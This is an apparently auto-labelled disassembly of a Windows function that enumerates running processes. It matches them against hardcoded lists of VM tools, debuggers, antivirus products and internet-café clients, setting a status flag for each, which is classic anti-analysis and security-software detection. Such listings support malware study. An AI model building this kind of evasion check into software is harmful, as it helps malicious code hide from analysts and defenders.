Function at 0x415510
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x127c
call fcn.00498a00
mov eax, dword [0x5b0514]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
call dword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
mov ebx, eax
mov dword [ebp - 0x1278], 0x22c
mov dword [ebp - 0x127c], ebx
test ebx, ebx
je 0x41673a
movups xmm0, xmmword [str.VGAuthService.exe]
movzx eax, word [0x58c3ec]
mov ecx, dword [0x58c3d0]
movups xmmword [ebp - 0x308], xmm0
mov word [ebp - 0x2b0], ax
movups xmm0, xmmword [0x58c3c0]
movzx eax, word [0x58c458]
push 0x30
movups xmmword [ebp - 0x2f8], xmm0
mov word [ebp - 0x1f0], ax
lea eax, [ebp - 0xff8]
xorps xmm0, xmm0
mov dword [ebp - 0x2e8], ecx
movups xmmword [ebp - 0x2e4], xmm0
push 0
movq qword [ebp - 0x2d4], xmm0
movups xmm0, xmmword [str.vmtoolsd.exe]
push eax
mov dword [ebp - 0x2cc], 0
movups xmmword [ebp - 0x2c8], xmm0
mov dword [ebp - 0x28e], 0
movq xmm0, qword [0x58c3e4]
movq qword [ebp - 0x2b8], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x2ae], xmm0
mov word [ebp - 0x28a], 0
movups xmmword [ebp - 0x29e], xmm0
mov dword [ebp - 0x1ce], 0
movups xmm0, xmmword [str.ManagementAgentHost.exe]
mov word [ebp - 0x1ca], 0
movups xmmword [ebp - 0x288], xmm0
movups xmm0, xmmword [0x58c400]
movups xmmword [ebp - 0x278], xmm0
movups xmm0, xmmword [0x58c410]
movups xmmword [ebp - 0x268], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x258], xmm0
movups xmm0, xmmword [str.VBoxService.exe]
movups xmmword [ebp - 0x248], xmm0
movups xmm0, xmmword [0x58c430]
movups xmmword [ebp - 0x238], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x228], xmm0
movups xmmword [ebp - 0x218], xmm0
movups xmm0, xmmword [str.VBoxTray.exe]
movups xmmword [ebp - 0x208], xmm0
movq xmm0, qword [0x58c450]
movq qword [ebp - 0x1f8], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x1ee], xmm0
movups xmmword [ebp - 0x1de], xmm0
movups xmm0, xmmword [str.bds.exe]
movups xmmword [ebp - 0x1008], xmm0
call fcn.005219d0
movups xmm0, xmmword [str.MSBuild.exe]
mov eax, dword [0x58c49c]
add esp, 0xc
mov dword [ebp - 0xf70], eax
movzx eax, word [0x58c4a0]
movups xmmword [ebp - 0xfc8], xmm0
mov word [ebp - 0xf6c], ax
movq xmm0, qword [0x58c47c]
mov eax, dword [0x58c4b4]
movq qword [ebp - 0xfb8], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0xfb0], xmm0
mov dword [ebp - 0xf38], eax
movzx eax, word [0x58c4b8]
movups xmmword [ebp - 0xfa0], xmm0
mov word [ebp - 0xf4a], 0
movq qword [ebp - 0xf90], xmm0
movups xmm0, xmmword [str.BSQLServer.exe]
mov word [ebp - 0xf34], ax
movups xmmword [ebp - 0xf88], xmm0
movq xmm0, qword [0x58c494]
movq qword [ebp - 0xf78], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0xf6a], xmm0
movups xmmword [ebp - 0xf5a], xmm0
movups xmm0, xmmword [str.devenv.exe]
movups xmmword [ebp - 0xf48], xmm0
push 0x2a
lea eax, [ebp - 0xf32]
push 0
push eax
call fcn.005219d0
movups xmm0, xmmword [str.vcpkgsrv.exe]
movzx eax, word [0x58c4d4]
add esp, 0xc
mov word [ebp - 0xef0], ax
movups xmmword [ebp - 0xf08], xmm0
mov eax, dword [0x58c500]
movq xmm0, qword [0x58c4cc]
movq qword [ebp - 0xef8], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0xeee], xmm0
mov dword [ebp - 0xea0], eax
movups xmmword [ebp - 0xede], xmm0
mov eax, dword [0x58c52c]
movups xmm0, xmmword [str.ScriptedSandbox32.exe]
mov dword [ebp - 0xe60], eax
mov eax, dword [0x58c570]
movups xmmword [ebp - 0xec8], xmm0
mov dword [ebp - 0xece], 0
movups xmm0, xmmword [0x58c4e8]
mov word [ebp - 0xeca], 0
mov dword [ebp - 0xe8c], 0
movups xmmword [ebp - 0xeb8], xmm0
mov dword [ebp - 0xe4c], 0
movq xmm0, qword [0x58c4f8]
movq qword [ebp - 0xea8], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0xe9c], xmm0
mov dword [ebp - 0xde8], eax
movups xmm0, xmmword [str.ScriptedSandbox64.exe]
mov dword [ebp - 0xdcc], 0
movups xmmword [ebp - 0xe88], xmm0
movups xmm0, xmmword [0x58c514]
movups xmmword [ebp - 0xe78], xmm0
movq xmm0, qword [0x58c524]
movq qword [ebp - 0xe68], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0xe5c], xmm0
movups xmm0, xmmword [str.PerfWatson2.exe]
movups xmmword [ebp - 0xe48], xmm0
movups xmm0, xmmword [0x58c540]
movups xmmword [ebp - 0xe38], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0xe28], xmm0
movups xmmword [ebp - 0xe18], xmm0
movups xmm0, xmmword [str.VcxprojReader.exe]
movups xmmword [ebp - 0xe08], xmm0
movups xmm0, xmmword [0x58c560]
movups xmmword [ebp - 0xdf8], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0xde4], xmm0
movq qword [ebp - 0xdd4], xmm0
movups xmm0, xmmword [str.VaCodeInspectionsServer.exe]
movups xmmword [ebp - 0xdc8], xmm0
movups xmm0, xmmword [0x58c584]
movups xmmword [ebp - 0xdb8], xmm0
movups xmm0, xmmword [0x58c594]
movups xmmword [ebp - 0xda8], xmm0
movq xmm0, qword [0x58c5a4]
movq qword [ebp - 0xd98], xmm0
xorps xmm0, xmm0
movq qword [ebp - 0xd90], xmm0
movups xmm0, xmmword [str.ollydbg.exe]
movups xmmword [ebp - 0xd88], xmm0
movq xmm0, qword [0x58c5bc]
movq qword [ebp - 0xd78], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0xd70], xmm0
movups xmmword [ebp - 0xd60], xmm0
movq qword [ebp - 0xd50], xmm0
movups xmm0, xmmword [str.ollyice.exe]
movups xmmword [ebp - 0xd48], xmm0
movq xmm0, qword [0x58c5d4]
movq qword [ebp - 0xd38], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0xd30], xmm0
movups xmmword [ebp - 0xd20], xmm0
mov eax, dword [0x58c5ec]
mov dword [ebp - 0xcf8], eax
movzx eax, word [0x58c5f0]
movq qword [ebp - 0xd10], xmm0
movups xmm0, xmmword [str.windbg.exe]
push 0x2a
mov word [ebp - 0xcf4], ax
lea eax, [ebp - 0xcf2]
push 0
push eax
movups xmmword [ebp - 0xd08], xmm0
call fcn.005219d0
movups xmm0, xmmword [str.x32_dbg.exe]
movzx eax, word [0x58c634]
add esp, 0xc
mov word [ebp - 0xc38], ax
lea eax, [ebp - 0xc36]
movups xmmword [ebp - 0xcc8], xmm0
movq xmm0, qword [0x58c604]
movq qword [ebp - 0xcb8], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0xcb0], xmm0
push 0x2e
movups xmmword [ebp - 0xca0], xmm0
push 0
movq qword [ebp - 0xc90], xmm0
movups xmm0, xmmword [str.x64_dbg.exe]
push eax
movups xmmword [ebp - 0xc88], xmm0
movq xmm0, qword [0x58c61c]
movq qword [ebp - 0xc78], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0xc70], xmm0
movups xmmword [ebp - 0xc60], xmm0
movq qword [ebp - 0xc50], xmm0
movups xmm0, xmmword [str.idaq.exe]
movups xmmword [ebp - 0xc48], xmm0
call fcn.005219d0
mov eax, dword [0x58c648]
add esp, 0xc
movups xmm0, xmmword [str.idaq64.exe]
mov dword [ebp - 0xbf8], eax
movzx eax, word [0x58c64c]
push 0x2a
mov word [ebp - 0xbf4], ax
lea eax, [ebp - 0xbf2]
push 0
push eax
movups xmmword [ebp - 0xc08], xmm0
call fcn.005219d0
movups xmm0, xmmword [str.ZhuDongFangYu.exe]
mov eax, dword [0x58c670]
add esp, 0xc
mov dword [ebp - 0x1a8], eax
mov eax, dword [0x58c69c]
movups xmmword [ebp - 0x1c8], xmm0
push 0x2c
movups xmm0, xmmword [0x58c660]
mov dword [ebp - 0x1038], eax
lea eax, [ebp - 0x1034]
push 0
movups xmmword [ebp - 0x1b8], xmm0
mov dword [ebp - 0x18c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x1a4], xmm0
push eax
movq qword [ebp - 0x194], xmm0
movups xmm0, xmmword [str.360Tray.exe]
movups xmmword [ebp - 0x188], xmm0
movq xmm0, qword [0x58c684]
movq qword [ebp - 0x178], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x170], xmm0
movups xmmword [ebp - 0x160], xmm0
movq qword [ebp - 0x150], xmm0
movups xmm0, xmmword [str.360sd.exe]
movups xmmword [ebp - 0x1048], xmm0
call fcn.005219d0
movups xmm0, xmmword [str.KSafe.exe]
add esp, 0xc
movups xmmword [ebp - 0x648], xmm0
mov eax, dword [0x58c6b0]
push 0x2c
mov dword [ebp - 0x638], eax
lea eax, [ebp - 0x634]
push 0
push eax
call fcn.005219d0
movups xmm0, xmmword [str.ksafevulfix.exe]
mov eax, dword [0x58c6e4]
add esp, 0xc
mov dword [ebp - 0x5b8], eax
movzx eax, word [0x58c6e8]
movups xmmword [ebp - 0x608], xmm0
push 0x2a
movups xmm0, xmmword [0x58c6c4]
mov word [ebp - 0x5b4], ax
lea eax, [ebp - 0x5b2]
push 0
movups xmmword [ebp - 0x5f8], xmm0
push eax
xorps xmm0, xmm0
movups xmmword [ebp - 0x5e8], xmm0
movups xmmword [ebp - 0x5d8], xmm0
movups xmm0, xmmword [str.KWatch.exe]
movups xmmword [ebp - 0x5c8], xmm0
call fcn.005219d0
movups xmm0, xmmword [str.KMailMon.exe]
movzx eax, word [0x58c704]
add esp, 0xc
mov word [ebp - 0x570], ax
movups xmmword [ebp - 0x588], xmm0
mov eax, dword [0x58c720]
movq xmm0, qword [0x58c6fc]
movq qword [ebp - 0x578], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x56e], xmm0
mov dword [ebp - 0x530], eax
movups xmmword [ebp - 0x55e], xmm0
movzx eax, word [0x58c75c]
movups xmm0, xmmword [str.KSafeTray.exe]
mov dword [ebp - 0x54e], 0
mov word [ebp - 0x54a], 0
movups xmmword [ebp - 0x548], xmm0
mov dword [ebp - 0x50c], 0
movq xmm0, qword [0x58c718]
movq qword [ebp - 0x538], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x52c], xmm0
mov word [ebp - 0x4a8], ax
movups xmmword [ebp - 0x51c], xmm0
mov dword [ebp - 0x48e], 0
movups xmm0, xmmword [str.kxetray.exe]
mov word [ebp - 0x48a], 0
movups xmmword [ebp - 0x508], xmm0
movq xmm0, qword [0x58c734]
movq qword [ebp - 0x4f8], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x4f0], xmm0
movups xmmword [ebp - 0x4e0], xmm0
movq qword [ebp - 0x4d0], xmm0
movups xmm0, xmmword [str.kwsprotect64.exe]
movups xmmword [ebp - 0x4c8], xmm0
movups xmm0, xmmword [0x58c74c]
movups xmmword [ebp - 0x4b8], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x4a6], xmm0
movq qword [ebp - 0x496], xmm0
movups xmm0, xmmword [str.kislive.exe]
movups xmmword [ebp - 0x488], xmm0
movq xmm0, qword [0x58c770]
movq qword [ebp - 0x478], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x470], xmm0
movups xmmword [ebp - 0x460], xmm0
movq qword [ebp - 0x450], xmm0
movups xmm0, xmmword [str.QMGuide.exe]
movups xmmword [ebp - 0x448], xmm0
movq xmm0, qword [0x58c788]
movq qword [ebp - 0x438], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x430], xmm0
movups xmmword [ebp - 0x420], xmm0
movzx eax, word [0x58c7a8]
movq qword [ebp - 0x410], xmm0
movups xmm0, xmmword [str.QQPCTray.exe]
mov word [ebp - 0x3f0], ax
mov eax, dword [0x58c7dc]
movups xmmword [ebp - 0x408], xmm0
mov dword [ebp - 0x370], eax
movq xmm0, qword [0x58c7a0]
movq qword [ebp - 0x3f8], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x3ee], xmm0
movzx eax, word [0x58c810]
movups xmmword [ebp - 0x3de], xmm0
mov word [ebp - 0xb0], ax
movups xmm0, xmmword [str.QQPCMgr.exe]
movzx eax, word [0x58c82c]
mov word [ebp - 0x70], ax
movups xmmword [ebp - 0x3c8], xmm0
mov eax, dword [0x58c848]
movq xmm0, qword [0x58c7bc]
movq qword [ebp - 0x3b8], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x3b0], xmm0
mov dword [ebp - 0x30], eax
movups xmmword [ebp - 0x3a0], xmm0
movzx eax, word [0x58c84c]
movq qword [ebp - 0x390], xmm0
movups xmm0, xmmword [str.QQPCPatch.exe]
mov dword [ebp - 0x3ce], 0
mov word [ebp - 0x3ca], 0
movups xmmword [ebp - 0x388], xmm0
mov dword [ebp - 0x34c], 0
movq xmm0, qword [0x58c7d4]
movq qword [ebp - 0x378], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x36c], xmm0
mov dword [ebp - 0x8e], 0
movups xmmword [ebp - 0x35c], xmm0
mov word [ebp - 0x8a], 0
movups xmm0, xmmword [str.QQPCRTP.exe]
mov dword [ebp - 0x4e], 0
mov word [ebp - 0x4a], 0
movups xmmword [ebp - 0x348], xmm0
mov word [ebp - 0x2c], ax
movq xmm0, qword [0x58c7f0]
movq qword [ebp - 0x338], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x330], xmm0
mov word [ebp - 0xa], 0
movups xmmword [ebp - 0x320], xmm0
movq qword [ebp - 0x310], xmm0
movups xmm0, xmmword [str.HipsTray.exe]
movups xmmword [ebp - 0xc8], xmm0
movq xmm0, qword [0x58c808]
movq qword [ebp - 0xb8], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0xae], xmm0
movups xmmword [ebp - 0x9e], xmm0
movups xmm0, xmmword [str.HipsMain.exe]
movups xmmword [ebp - 0x88], xmm0
movq xmm0, qword [0x58c824]
movq qword [ebp - 0x78], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x6e], xmm0
movups xmmword [ebp - 0x5e], xmm0
movups xmm0, xmmword [str.HipsDaemon.exe]
movups xmmword [ebp - 0x48], xmm0
movq xmm0, qword [0x58c840]
movq qword [ebp - 0x38], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x2a], xmm0
movups xmmword [ebp - 0x1a], xmm0
movups xmm0, xmmword [str.MSASCui.exe]
movups xmmword [ebp - 0x148], xmm0
movq xmm0, qword [0x58c860]
movq qword [ebp - 0x138], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x130], xmm0
movups xmmword [ebp - 0x120], xmm0
movq qword [ebp - 0x110], xmm0
movups xmm0, xmmword [str.MSASCuiL.exe]
movzx eax, word [0x58c880]
mov word [ebp - 0xf0], ax
mov eax, dword [0x58c894]
movups xmmword [ebp - 0x108], xmm0
mov dword [ebp - 0xbb8], eax
movq xmm0, qword [0x58c878]
movzx eax, word [0x58c898]
movq qword [ebp - 0xf8], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0xee], xmm0
push 0x2a
movups xmmword [ebp - 0xde], xmm0
mov word [ebp - 0xbb4], ax
lea eax, [ebp - 0xbb2]
movups xmm0, xmmword [str.rstray.exe]
push 0
push eax
mov dword [ebp - 0xce], 0
mov word [ebp - 0xca], 0
movups xmmword [ebp - 0xbc8], xmm0
call fcn.005219d0
movups xmm0, xmmword [str.BaiduSdTray.exe]
mov eax, dword [0x58c8f4]
add esp, 0xc
mov dword [ebp - 0xaf0], eax
movups xmmword [ebp - 0xb48], xmm0
movzx eax, word [0x58c930]
movups xmm0, xmmword [0x58c8ac]
mov word [ebp - 0xa70], ax
mov eax, dword [0x58c944]
movups xmmword [ebp - 0xb38], xmm0
mov dword [ebp - 0xa38], eax
lea eax, [ebp - 0xa34]
xorps xmm0, xmm0
mov dword [ebp - 0xacc], 0
movups xmmword [ebp - 0xb28], xmm0
push 0x2c
movups xmmword [ebp - 0xb18], xmm0
push 0
movups xmm0, xmmword [str.BaiduAnTray.exe]
push eax
mov dword [ebp - 0xa4e], 0
movups xmmword [ebp - 0xb88], xmm0
mov word [ebp - 0xa4a], 0
movups xmm0, xmmword [0x58c8cc]
movups xmmword [ebp - 0xb78], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0xb68], xmm0
movups xmmword [ebp - 0xb58], xmm0
movups xmm0, xmmword [str.ShadowTip.exe]
movups xmmword [ebp - 0xb08], xmm0
movq xmm0, qword [0x58c8ec]
movq qword [ebp - 0xaf8], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0xaec], xmm0
movups xmmword [ebp - 0xadc], xmm0
movups xmm0, xmmword [str.PowerRemind.exe]
movups xmmword [ebp - 0xac8], xmm0
movups xmm0, xmmword [0x58c908]
movups xmmword [ebp - 0xab8], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0xaa8], xmm0
movups xmmword [ebp - 0xa98], xmm0
movups xmm0, xmmword [str.wanxiang.exe]
movups xmmword [ebp - 0xa88], xmm0
movq xmm0, qword [0x58c928]
movq qword [ebp - 0xa78], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0xa6e], xmm0
movups xmmword [ebp - 0xa5e], xmm0
movups xmm0, xmmword [str.clsmn.exe]
movups xmmword [ebp - 0xa48], xmm0
call fcn.005219d0
mov eax, dword [0x58c958]
add esp, 0xc
movups xmm0, xmmword [str.pubwin.exe]
mov dword [ebp - 0x9f8], eax
movzx eax, word [0x58c95c]
movups xmmword [ebp - 0xa08], xmm0
mov word [ebp - 0x9f4], ax
push 0x2a
lea eax, [ebp - 0x9f2]
push 0
push eax
call fcn.005219d0
movups xmm0, xmmword [str.UKeyMain.exe]
movzx eax, word [0x58c978]
add esp, 0xc
mov word [ebp - 0x9b0], ax
lea eax, [ebp - 0x978]
movups xmmword [ebp - 0x9c8], xmm0
mov dword [ebp - 0x98e], 0
movq xmm0, qword [0x58c970]
movq qword [ebp - 0x9b8], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x9ae], xmm0
push 0x30
movups xmmword [ebp - 0x99e], xmm0
push 0
movups xmm0, xmmword [str.UDO.exe]
push eax
mov word [ebp - 0x98a], 0
movups xmmword [ebp - 0x988], xmm0
call fcn.005219d0
movups xmm0, xmmword [str.duduniu.exe]
mov eax, dword [0x58c9bc]
add esp, 0xc
mov dword [ebp - 0x8f0], eax
lea eax, [ebp - 0x8b8]
movups xmmword [ebp - 0x948], xmm0
mov dword [ebp - 0x8cc], 0
movq xmm0, qword [0x58c99c]
movq qword [ebp - 0x938], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x930], xmm0
push 0x30
movups xmmword [ebp - 0x920], xmm0
push 0
movq qword [ebp - 0x910], xmm0
movups xmm0, xmmword [str.Jfwclient.exe]
push eax
movups xmmword [ebp - 0x908], xmm0
movq xmm0, qword [0x58c9b4]
movq qword [ebp - 0x8f8], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x8ec], xmm0
movups xmmword [ebp - 0x8dc], xmm0
movups xmm0, xmmword [str.ssp.exe]
movups xmmword [ebp - 0x8c8], xmm0
call fcn.005219d0
movups xmm0, xmmword [str.mpclient.exe]
movzx eax, word [0x58c9e8]
add esp, 0xc
mov word [ebp - 0x870], ax
movups xmmword [ebp - 0x888], xmm0
movzx eax, word [0x58ca04]
movq xmm0, qword [0x58c9e0]
movq qword [ebp - 0x878], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x86e], xmm0
mov dword [ebp - 0x84e], 0
movups xmmword [ebp - 0x85e], xmm0
mov word [ebp - 0x84a], 0
movups xmm0, xmmword [str.fzclient.exe]
mov word [ebp - 0x830], ax
mov dword [ebp - 0x80e], 0
movups xmmword [ebp - 0x848], xmm0
mov word [ebp - 0x80a], 0
movq xmm0, qword [0x58c9fc]
movq qword [ebp - 0x838], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x82e], xmm0
movups xmmword [ebp - 0x81e], xmm0
movups xmm0, xmmword [str.TLnbLdr.exe]
movups xmmword [ebp - 0x808], xmm0
movq xmm0, qword [0x58ca18]
movq qword [ebp - 0x7f8], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x7f0], xmm0
movups xmmword [ebp - 0x7e0], xmm0
movq qword [ebp - 0x7d0], xmm0
movups xmm0, xmmword [str.yqsclient.exe]
mov eax, dword [0x58ca38]
mov dword [ebp - 0x7b0], eax
mov eax, dword [0x58ca4c]
movups xmmword [ebp - 0x7c8], xmm0
mov dword [ebp - 0x778], eax
movq xmm0, qword [0x58ca30]
movzx eax, word [0x58ca50]
movq qword [ebp - 0x7b8], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x7ac], xmm0
push 0x2a
movups xmmword [ebp - 0x79c], xmm0
mov word [ebp - 0x774], ax
lea eax, [ebp - 0x772]
movups xmm0, xmmword [str.barrms.exe]
push 0
push eax
mov dword [ebp - 0x78c], 0
movups xmmword [ebp - 0x788], xmm0
call fcn.005219d0
movups xmm0, xmmword [str.yaoqianshu.exe]
mov eax, dword [0x58ca6c]
add esp, 0xc
mov dword [ebp - 0x730], eax
movzx eax, word [0x58ca70]
movups xmmword [ebp - 0x748], xmm0
mov word [ebp - 0x72c], ax
movq xmm0, qword [0x58ca64]
mov eax, dword [0x58ca84]
movq qword [ebp - 0x738], xmm0
xorps xmm0, xmm0
mov dword [ebp - 0x6f8], eax
movzx eax, word [0x58ca88]
movups xmmword [ebp - 0x72a], xmm0
push 0x2a
movups xmmword [ebp - 0x71a], xmm0
mov word [ebp - 0x6f4], ax
lea eax, [ebp - 0x6f2]
movups xmm0, xmmword [str.RzxMon.exe]
push 0
push eax
mov word [ebp - 0x70a], 0
movups xmmword [ebp - 0x708], xmm0
call fcn.005219d0
mov eax, dword [0x58ca9c]
add esp, 0xc
movups xmm0, xmmword [str.rzxsvr.exe]
mov dword [ebp - 0x6b8], eax
movzx eax, word [0x58caa0]
push 0x2a
mov word [ebp - 0x6b4], ax
lea eax, [ebp - 0x6b2]
push 0
push eax
movups xmmword [ebp - 0x6c8], xmm0
call fcn.005219d0
movups xmm0, xmmword [str.BarClientView.exe]
mov eax, dword [0x58cac4]
add esp, 0xc
mov dword [ebp - 0x668], eax
lea eax, [ebp - 0x1278]
movups xmmword [ebp - 0x688], xmm0
mov dword [ebp - 0x64c], 0
movups xmm0, xmmword [0x58cab4]
push eax
push ebx
movups xmmword [ebp - 0x678], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x664], xmm0
movq qword [ebp - 0x654], xmm0
call dword [sym.imp.KERNEL32.DLL_Process32FirstW]
mov esi, dword [sym.imp.SHLWAPI.dll_StrCmpIW]
nop dword [eax]
xor edi, edi
lea ebx, [ebp - 0x308]
lea eax, [ebp - 0x1254]
push eax
push ebx
call esi
test eax, eax
je 0x416501
inc edi
add ebx, 0x40
cmp edi, 5
jb 0x4164e8
jmp 0x41650f
push 1
push 0
push str.Status
call fcn.0043b040
xor edi, edi
lea ebx, [ebp - 0x1008]
lea eax, [ebp - 0x1254]
push eax
push ebx
call esi
test eax, eax
je 0x416530
inc edi
add ebx, 0x40
cmp edi, 0x11
jb 0x416517
jmp 0x41653e
push 1
push 1
push str.Status
call fcn.0043b040
xor edi, edi
lea ebx, [ebp - 0x1c8]
lea eax, [ebp - 0x1254]
push eax
push ebx
call esi
test eax, eax
je 0x41655f
inc edi
add ebx, 0x40
cmp edi, 2
jb 0x416546
jmp 0x41656d
push 1
push 3
push str.Status
call fcn.0043b040
xor edi, edi
lea ebx, [ebp - 0x1048]
lea eax, [ebp - 0x1254]
push eax
push ebx
call esi
test eax, eax
je 0x41658e
inc edi
add ebx, 0x40
cmp edi, 1
jb 0x416575
jmp 0x41659c
push 1
push 4
push str.Status
call fcn.0043b040
xor edi, edi
lea ebx, [ebp - 0x448]
lea eax, [ebp - 0x1254]
push eax
push ebx
call esi
test eax, eax
je 0x4165bd
inc edi
add ebx, 0x40
cmp edi, 5
jb 0x4165a4
jmp 0x4165cb
push 1
push 6
push str.Status
call fcn.0043b040
xor edi, edi
lea ebx, [ebp - 0x648]
lea eax, [ebp - 0x1254]
push eax
push ebx
call esi
test eax, eax
je 0x4165ec
inc edi
add ebx, 0x40
cmp edi, 8
jb 0x4165d3
jmp 0x4165fa
push 1
push 5
push str.Status
call fcn.0043b040
xor edi, edi
lea ebx, [ebp - 0xb48]
lea eax, [ebp - 0x1254]
push eax
push ebx
call esi
test eax, eax
je 0x41661b
inc edi
add ebx, 0x40
cmp edi, 1
jb 0x416602
jmp 0x416629
push 1
push 0xa
push str.Status
call fcn.0043b040
xor edi, edi
lea ebx, [ebp - 0xb88]
lea eax, [ebp - 0x1254]
push eax
push ebx
call esi
test eax, eax
je 0x41664a
inc edi
add ebx, 0x40
cmp edi, 1
jb 0x416631
jmp 0x416658
push 1
push 0xb
push str.Status
call fcn.0043b040
xor edi, edi
lea ebx, [ebp - 0xc8]
lea eax, [ebp - 0x1254]
push eax
push ebx
call esi
test eax, eax
je 0x416679
inc edi
add ebx, 0x40
cmp edi, 3
jb 0x416660
jmp 0x416687
push 1
push 7
push str.Status
call fcn.0043b040
xor edi, edi
lea ebx, [ebp - 0xbc8]
nop
lea eax, [ebp - 0x1254]
push eax
push ebx
call esi
test eax, eax
je 0x4166a9
inc edi
add ebx, 0x40
cmp edi, 1
jb 0x416690
jmp 0x4166b7
push 1
push 9
push str.Status
call fcn.0043b040
xor edi, edi
lea ebx, [ebp - 0x148]
nop
lea eax, [ebp - 0x1254]
push eax
push ebx
call esi
test eax, eax
je 0x4166d9
inc edi
add ebx, 0x40
cmp edi, 2
jb 0x4166c0
jmp 0x4166e7
push 1
push 8
push str.Status
call fcn.0043b040
xor edi, edi
lea ebx, [ebp - 0xb08]
nop
lea eax, [ebp - 0x1254]
push eax
push ebx
call esi
test eax, eax
je 0x416709
inc edi
add ebx, 0x40
cmp edi, 0x13
jb 0x4166f0
jmp 0x416717
push 1
push 2
push str.Status
call fcn.0043b040
mov ebx, dword [ebp - 0x127c]
lea eax, [ebp - 0x1278]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_Process32NextW]
test eax, eax
jne 0x4164e0
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00497cb0
mov esp, ebp
pop ebp
ret